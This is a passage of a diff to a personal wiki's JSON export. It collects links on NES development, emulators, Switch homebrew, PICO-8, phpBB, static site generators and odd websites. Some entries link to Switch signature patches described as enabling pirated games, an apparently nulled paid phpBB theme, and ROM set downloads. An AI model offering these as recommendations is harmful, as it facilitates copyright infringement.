tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n* [[How to extract CHR & PRG from a NES/UNiF file|https://forums.nesdev.org/viewtopic.php?t=5661]] --- depends on the mapper, usually PRG is at the start (after the iHeader) and CHR at the end\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"}, {"title":"Nintendo Switch","created":"20220925130302833","creator":"Octt","modified":"20231210220557478","modifier":"Octt","tags":"Nintendo Gaming NX Console","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003Cibox \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!!! Misc\n\n* [[Internet Browser [Switchbrew]|https://switchbrew.org/wiki/Internet_Browser]]\n** Apparently from FW 10.0, Nintendo being corporate shitlords added a [[Browser Timeout: \"This Screen will be closed.\"|https://browsedns.net/topic/25/browser-timeout-this-screen-will-be-closed]]\n\n!!! ''Emulators''\n\n* [[Yuzu|https://yuzu-emu.org/]] --- //experimental open-source Switch emulator from the creators of Citra// --- \u003C\u003C#[ Git \"https://github.com/yuzu-emu\">>\n* [[Ryujinx|https://ryujinx.org/]] --- //simple, experimental Nintendo Switch emulator// --- \u003C\u003C[# Git \"https://github.com/Ryujinx\">>\n* [[Skyline|https://skyline-emu.one/]] --- //Run Nintendo Switch homebrew & games on your Android device!// --- \u003C\u003C[# Git \"https://github.com/skyline-emu\">>\n** Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)\n** A slow-going fork has apparently started: [[Strato|https://github.com/strato-emu/strato]]\n\n!!! ''Homebrew, Tools, Hacks''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''\n* Custom Firmware: The real best today is [[Atmosphère-NX|https://github.com/Atmosphere-NX]] + related libs.\n* Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): \u003C\u003C[ \"[[WiiDatabase|https://wiidatabase.de/switch-downloads/hacks/signatur-patches/]]\">> \u003C\u003C[ \"[[Hackintendo|https://hackintendo.com/download/sigpatches/?PageSpeed=noscript]]\">> \u003C\u003C[ \"[[ShadowOne333|https://gbatemp.net/threads/sigpatches-for-atmosphere-hekate-fss0-fusee-package3.571543/]]\">>. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.\n\n* \u003C\u003Clinkdesc nsz \"https://github.com/nicoboss/nsz\" \"Homebrew compatible NSP/XCI compressor/decompressor\">>\n\n* [[Goldleaf|https://gbatemp.net/download/goldleaf-nintendo-switch-title-installer-manager.35430/]] --- //🍂 Multipurpose homebrew tool for Nintendo Switch// --- \u003C\u003C[# Git \"https://github.com/XorTroll/Goldleaf\">>\n* [[Tinleaf|https://github.com/blawar/tinleaf]] --- //No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch// (forked from [[Awoo Installer|https://github.com/Huntereb/Awoo-Installer]] without the furry crap) --- \u003C\u003C[# Thread \"https://gbatemp.net/threads/tinleaf-installer-a-no-bullshit-no-bullshit-nsp-nsz-xci-xcz-installer.559892/\">>\n\n!!! Development\n\n* [[SwitchBrew Wiki|https://switchbrew.org/wiki/Main_Page]]\n** [[switchbrew/switch-examples|https://github.com/switchbrew/switch-examples]] --- //Switch examples for devkitA64 and libnx//\n"}, {"title":"Nitter:en","created":"20230110214847556","modified":"20230206111552254","modifier":"Octt","tags":"Internet $:/i18n:en","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n"}, {"title":"Nix","created":"20230302114148119","creator":"Octt","modified":"20230302114846402","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Nix (package manager)\">>\n\n* [[Zero to Nix|https://zero-to-nix.com/]] - //An unofficial, opinionated, gentle introduction to Nix//\n* \u003C\u003CYouTubeL 2L2qHfNnXB4 \"NixOS: a sales pitch\">> - A 20-minutes introduction from the ground-up to Nix and [[NixOS]].\n"}, @@ -1335,7 +1336,7 @@ {"title":"Personal Knowledge Base","created":"20230203224049687","creator":"Octt","modified":"20230228220623251","modifier":"Octt","tags":"$:/i18n:en Knowledge","text":"\u003C\u003C^wikipediaframe \"Personal knowledge base\" en>>\n\n; Tools\n: [[Feather Wiki|https://feather.wiki/]] - //A single-file HTML wiki in ~50 KB// - \u003C\u003C[ \"[[Git|https://codeberg.org/Alamantus/FeatherWiki]]\">>\n: [[TiddlyWiki]]\n\n; Misc\n: [[How to Set Up a Personal Wiki (with Jekyll)|https://strikingloo.github.io/personal-wiki-set-up]] - \u003C\u003C[ \"[[Code|https://github.com/StrikingLoo/Personal-Wiki-Site-Setup]]\">>\n"}, {"title":"PHP","created":"20231220005125463","creator":"Octt","modified":"20231220005200282","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PHP>>\n\n* [[PHP: Find all images in a HTML string|https://thisinterestsme.com/php-get-images-from-html/]]\n"}, {"title":"phpBB","created":"20230818075833750","creator":"Octt","modified":"20231213001700023","modifier":"Octt","tags":"Forum","text":"* [[https://www.phpbb.com/]]\n* [[https://github.com/phpbb]]\n\n\u003C\u003C^wikipediaframe phpBB>>\n\n* [[How to Install phpBB with Nginx and MariaDB on Ubuntu Linux|https://geekrewind.com/install-phpbb-on-ubuntu-17-04-17-10-with-nginx-mariadb-and-php-support/]] --- Note: the `php-fpm` package might need to be installed by specifying version, and it's better to use [[phpBB's official nginx.sample.conf|https://github.com/phpbb/phpbb/blob/master/phpBB/docs/nginx.sample.conf]].\n* [[Creating custom BBcode with optional parameter?|https://www.phpbb.com/community/viewtopic.php?t=2531861]]\n** also see [[Custom BBCode syntax of s9e\\TextFormatter|https://s9etextformatter.readthedocs.io/Plugins/BBCodes/Custom_BBCode_syntax/]]\n\n* [[phpBB Studio|https://phpbbstudio.com]] --- //Extension developers for phpBB//\n\n!!! ''Extensions''\n\n* [[Knowledge Base|https://www.phpbb.com/customise/db/extension/knowledge_base/]] --- //An extension for phpBB 3.1.x that adds a knowledge base to your board// --- \u003C\u003C[# Git \"https://github.com/Crizz0/knowledgebase\">>\n* [[RESTApiForPhpBB|https://github.com/eparsons/RESTApiForPhpBB]] --- //Unofficial REST API for PhpBB with example client// (Incomplete and Abandoned, but decent working base for a fork)\n* [[RH Topic Tags|https://www.phpbb.com/customise/db/extension/rh_topic_tags/]] --- //Enables tagging of topics with key words// --- \u003C\u003C#[ Git \"https://github.com/RobertHeim/phpbb-ext-topictags\">>\n** [[Fork updated for phpBB 3.3.9+ (2 fixes)|https://github.com/mi1eurista/phpbb-ext-topictags/tree/patch339]]\n\n!!! ''Styles''\n\n* [[Milk|https://themeforest.net/item/milk-multipurpose-responsive-phpbb-31-theme/16119149]] --- //Flat, Modern Multipurpose Responsive Theme// --- \u003C\u003C[# Nullsto \"https://www.nullsto.com/resources/milk-multipurpose-responsive-phpbb-3-3-theme.1167/\">>\n* [[phpBB3 WAP Style|https://www.phpbb.com/customise/db/style/phpbb3_wap_style/]]\n"}, -{"title":"PICO-8","created":"20230215192110036","creator":"Octt","modified":"20230215213713689","modifier":"Octt","tags":"Proprietary Gaming Fantasy Console","text":"* [[Website/Forum|https://www.lexaloffle.com/pico-8.php]]\n* [[Edu Edition|https://www.pico-8-edu.com/]] - Gratis official web player and editor\n* [[PICO-8 Community Git|https://github.com/pico-8]]\n* [[Awesome PICO-8|https://pico-8.github.io/awesome-PICO-8/]] - [[[Git|https://github.com/pico-8/awesome-PICO-8]]]\n\n\u003C\u003CWikipediaFrame PICO-8 en>>\n\n; Get Games\n: \u003Cdiv>\n\n* https://www.lexaloffle.com/bbs/?mode=carts\n* https://itch.io/games/tag-pico-8\n* \u003C\u003CRedditL \"/r/Roms/comments/yj2irf/picowesome_v14_oct312022/\" \"PICOwesome v1.4 (oct-31-2022)\">> - Pico8 Awesome ROM Set - [[[ZIP Gdrive|https://drive.google.com/file/d/1KsK_cm3dp2yCcMdimZInIAU_PkPEfBQf/view?usp=sharing]]] [[[ZIP 1fichier|https://1fichier.com/?jwit1cvqcefytsy9xu24]]] - [\u003C\u003CRedditL \"/r/Roms/comments/mw1k3r/pico8_awesome_set_v10/\" v1.0>>] [\u003C\u003CRedditL \"/r/Roms/comments/t41u6w/picowesome_v13_feb282022/\" v1.3>>]\n** Other (unorganized?) collections mentioned in the thread: https://archive.org/details/pico8 | https://archive.org/details/p8carts\n** Others (for real): https://archive.org/details/pico-8_cart_collection\n\u003C/div>\n\n; Reimplementations\n: [[fake-08|https://github.com/jtothebell/fake-08]] - //Pico 8 player for homebrew consoles// - Tested on [[Miyoo]] with the latest version as of end of ~2021 (?), worked with not a lot of games \u003C\u003C[ \"[[GBATemp|https://gbatemp.net/threads/release-fake-08-probably-the-best-3rd-party-pico-8-emulator.608579/]]\">>\n: [[Runty8|https://github.com/jjant/runty8]] - //Clone in Rust// (Never tested)\n"}, +{"title":"PICO-8","created":"20230215192110036","creator":"Octt","modified":"20240119145635621","modifier":"Octt","tags":"Proprietary Gaming Fantasy Console","text":"* [[Website/Forum|https://www.lexaloffle.com/pico-8.php]]\n* [[Edu Edition|https://www.pico-8-edu.com/]] - Gratis official web player and editor\n* [[PICO-8 Community Git|https://github.com/pico-8]]\n* [[Awesome PICO-8|https://pico-8.github.io/awesome-PICO-8/]] - [[[Git|https://github.com/pico-8/awesome-PICO-8]]]\n\n\u003C\u003C^WikipediaFrame PICO-8 en>>\n\n; Get Games\n: \u003Cdiv>\n\n* https://www.lexaloffle.com/bbs/?mode=carts\n* https://itch.io/games/tag-pico-8\n* \u003C\u003CRedditL \"/r/Roms/comments/yj2irf/picowesome_v14_oct312022/\" \"PICOwesome v1.4 (oct-31-2022)\">> - Pico8 Awesome ROM Set - [[[ZIP Gdrive|https://drive.google.com/file/d/1KsK_cm3dp2yCcMdimZInIAU_PkPEfBQf/view?usp=sharing]]] [[[ZIP 1fichier|https://1fichier.com/?jwit1cvqcefytsy9xu24]]] - [\u003C\u003CRedditL \"/r/Roms/comments/mw1k3r/pico8_awesome_set_v10/\" v1.0>>] [\u003C\u003CRedditL \"/r/Roms/comments/t41u6w/picowesome_v13_feb282022/\" v1.3>>]\n** Other (unorganized?) collections mentioned in the thread: https://archive.org/details/pico8 | https://archive.org/details/p8carts\n** Others (for real): https://archive.org/details/pico-8_cart_collection\n* [[Pico-8 gallery|https://pico8.retroactive.me/]] --- //A small static site with its own generator containing a few of my Pico-8 sketches// --- \u003C\u003C[# Git\"https://github.com/Eiyeron/pico8-gallery\">>\n\u003C/div>\n\n; Reimplementations\n: [[fake-08|https://github.com/jtothebell/fake-08]] - //Pico 8 player for homebrew consoles// - Tested on [[Miyoo]] with the latest version as of end of ~2021 (?), worked with not a lot of games \u003C\u003C[ \"[[GBATemp|https://gbatemp.net/threads/release-fake-08-probably-the-best-3rd-party-pico-8-emulator.608579/]]\">>\n: [[Runty8|https://github.com/jjant/runty8]] - //Clone in Rust// (Never tested)\n"}, {"title":"Picross 3D:en","created":"20230112094752122","creator":"Octt","modified":"20230207221713803","modifier":"Octt","tags":"Nintendo Puzzle NDS TODO $:/i18n:en Game Proprietary","text":"\u003C\u003CMediaWiki Picross_3D en 2>>"}, {"title":"Picross DS:en","created":"20230114145440371","creator":"Octt","modified":"20230207221713803","modifier":"Octt","tags":"TODO NDS Nintendo Puzzle $:/i18n:en Game Proprietary","text":"\u003C\u003CMediaWiki Picross_DS en 1>>"}, {"title":"Picture","created":"20231223234901522","creator":"Octt","modified":"20231223235310265","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Picture\">>\n\n* [[Apeaksoft Free Watermark Remover|https://www.apeaksoft.com/watermark-remover/]] || [[vidmore Free Watermark Remover Online|https://www.vidmore.com/watermark-remover/]]\n"}, @@ -1424,10 +1425,10 @@ {"title":"Standard Notes","created":"20230113230249689","creator":"Octt","modified":"20230221221847294","modifier":"Octt","tags":"App $:/i18n:en","text":"An encrypted open-source notes app with a very clean UX.\n\n* Website: [[standardnotes.com|https://standardnotes.com]]\n* Git Repos: [[github.com/standardnotes|https://github.com/standardnotes]]\n\n!!! ''Listed''\n\n''Listed'' is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.\n\n* Website: [[listed.to|https://listed.to]]\n\n!!! ''Other''\n\n; [[Using Standard Notes as a Personal Knowledge Base|https://technosoof.wordpress.com/2020/04/10/using-standard-notes-as-a-personal-knowledge-base/]] - \u003C\u003Cmywarc 466>>\n: Need of coping with lack of text-search scoped to only the current note. \u003Cdd>\nBrowser's integrated search is a decent solution.\n\u003C/dd>\n: No actual hyperlinks will force you to manually craft a compact GUID system. \u003Cdd>\nGUIDs can't be changed later, so using dates + single letters for types is a needed thing.\n\u003C/dd> \u003Cdd>\nSeparating drafts from normal notes, WIP, etc... is optimal too.\n\u003C/dd>\n\n; [[Why Encrypted - Standard Notes|https://standardnotes.com/why-encrypted]] - \u003C\u003Cmywarc 409>>\n: Today's popular tech is far from private by default.\n: The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.\n: When you get privacy, and finally //write like it's nobody's business//, you will have peace of mind.\n"}, {"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"}, {"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The world’s fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //🌐 Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. 🎬\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //💎 🐳 A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance ✨ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"}, -{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240110005819739","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, +{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240119165356761","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ ░ ui▀┳╲ ☺ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - 煙霧動力.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Questions LLC|https://questions.llc/]] --- //Use AI to answer\nyour questions. Our AI bots will answer your questions in seconds.// --- it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:\n** [[allowfullscreen|https://www.allowfullscreen.com/]] --- //an HTML attribute for the iframe tag// --- a website with some basic information about the attribute, but with some strange details, and some actually decent examples\n** [[querySelectorAll()|https://www.queryselectorall.com/]] --- //a website dedicated to the best JavaScript function in the world!// --- some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"}, {"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240118233234375","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n* \u003C\u003CYoutubeL _5IDmXNS14I \"UNDETECTABLE Cheats Jeopardize Super Mario 64 Speedrunning!?\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"}, {"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20240119011227992","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[SMBDIS.ASM - A Comprehensive Super Mario Bros. Disassembly|https://gist.github.com/1wErt3r/4048722]]\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"}, -{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20231212223439290","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"}, +{"title":"Super Nintendo Entertainment System","created":"20231212222847342","creator":"Octt","modified":"20240119124309074","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"SNES\">>\n\n* [[SNES Central|https://snescentral.com/index.php]]\n\n* [[DiztinGUIsh (\"Diz\")|https://github.com/IsoFrieze/DiztinGUIsh]] --- //A Super NES ROM Disassembler and tracelog capture/analysis tool with a focus on collaborative workflow UX. Exports .asm files ready to be compiled back into the original binary. Written in Winforms/C#.//\n\n!! Star Fox\n\n\u003C\u003C^wikipediaframe \"Star Fox\">>\n\n* [[Super Star Fox Weekend / Starwing Competition|https://snescentral.com/article.php?id=0942]]\n"}, {"title":"Super Tux:en","created":"20230130161956837","creator":"Octt","modified":"20230206203924228","modifier":"Octt","tags":"$:/i18n:en Game","text":"\u003C\u003CMediaWiki SuperTux en 2>>"}, {"title":"SuperTuxKart","created":"20230130074458840","creator":"Octt","modified":"20230219142818385","modifier":"Octt","tags":"$:/i18n:en Racing 3D Libre Game","text":"\u003C\u003C^wikipediaframe SuperTuxKart en>>"}, {"title":"SVG","created":"20230823095111097","creator":"Octt","modified":"20230823095151062","modifier":"Octt","tags":"XML","text":"\u003C\u003C^wikipediaframe SVG>>\n\n* [[Web SVG Security|https://www.w3.org/wiki/SVG_Security]]\n"}, @@ -1512,7 +1513,7 @@ {"title":"WinWorld","created":"20230209101937765","creator":"Octt","modified":"20230209102412747","modifier":"Octt","tags":"TODO Abandonware","text":"* https://winworldpc.com/home"}, {"title":"WireGuard","created":"20230213171505875","creator":"Octt","modified":"20230213172848043","modifier":"Octt","tags":"VPN Libre Protocol","text":"\u003C\u003CMediaWiki WireGuard en 2>>\n\n* https://www.wireguard.com/\n* https://github.com/WireGuard\n"}, {"title":"Word","created":"20230216193546517","creator":"Octt","modified":"20231220235833698","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Word en>>\n\n!!! Useful, to be remembered\n\n* [[What do you call a member of a federation?|https://english.stackexchange.com/questions/253334/what-do-you-call-a-member-of-a-federation]] (\"federate\")\n\n!!! ''//Interesting// Words/Expressions''\n\nSome words and expressions I discovered and found so interesing I want to save them, ok?\n\n* \u003C\u003CWikipediaL \"Bob's your uncle\">>\n** \"Bob's still your dad's brother\" is an epic way to avoid too many further repetitions.\n* \u003C\u003CWiktionaryL \"ワープロ馬鹿\">> (wāpurobaka)\n* [[The vodka is good, but the meat is rotten|https://www.everything2.com/title/The+vodka+is+good%252C+but+the+meat+is+rotten]]\n"}, -{"title":"WordPress","created":"20230206192842398","creator":"Octt","modified":"20240107140354621","modifier":"Octt","tags":"Web PHP CMS","text":"\\define lwplug(slug, title) [[$title$|https://wordpress.org/plugins/$slug$]]\n\n* \u003C\u003ChttpsL WordPress.com>> --- Corporate site and home page of the SaaS service\n* \u003C\u003ChttpsL WordPress.org>> --- Home page of the open source project\n** \u003C\u003ChttpsL developer.wordpress.org>> --- Development resources, guides, references\n\n\u003C\u003C^wikipediaframe WordPress en>>\n\n* [[Stupid WordPress Tricks|https://perishablepress.com/stupid-wordpress-tricks]] (with PHP)\n* [[How to Add Code to WordPress Header and Footer|https://kinsta.com/knowledgebase/add-code-wordpress-header-footer/]]\n\n* [[WordPress Plugins SVN Mirror|http://web.archive.org/web/20200805015358/http://www.pluginmirror.com/]] (apparently website is dead?) --- //Say hello to fully automated GitHub mirrors of every plugin in the WordPress.org plugin repository.// --- \u003C\u003C[# Git\"https://github.com/wp-plugins\">>\n\n!!! Plugins\n\n* \u003C\u003Clwplug activitypub ActivityPub>> --- //Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience!// 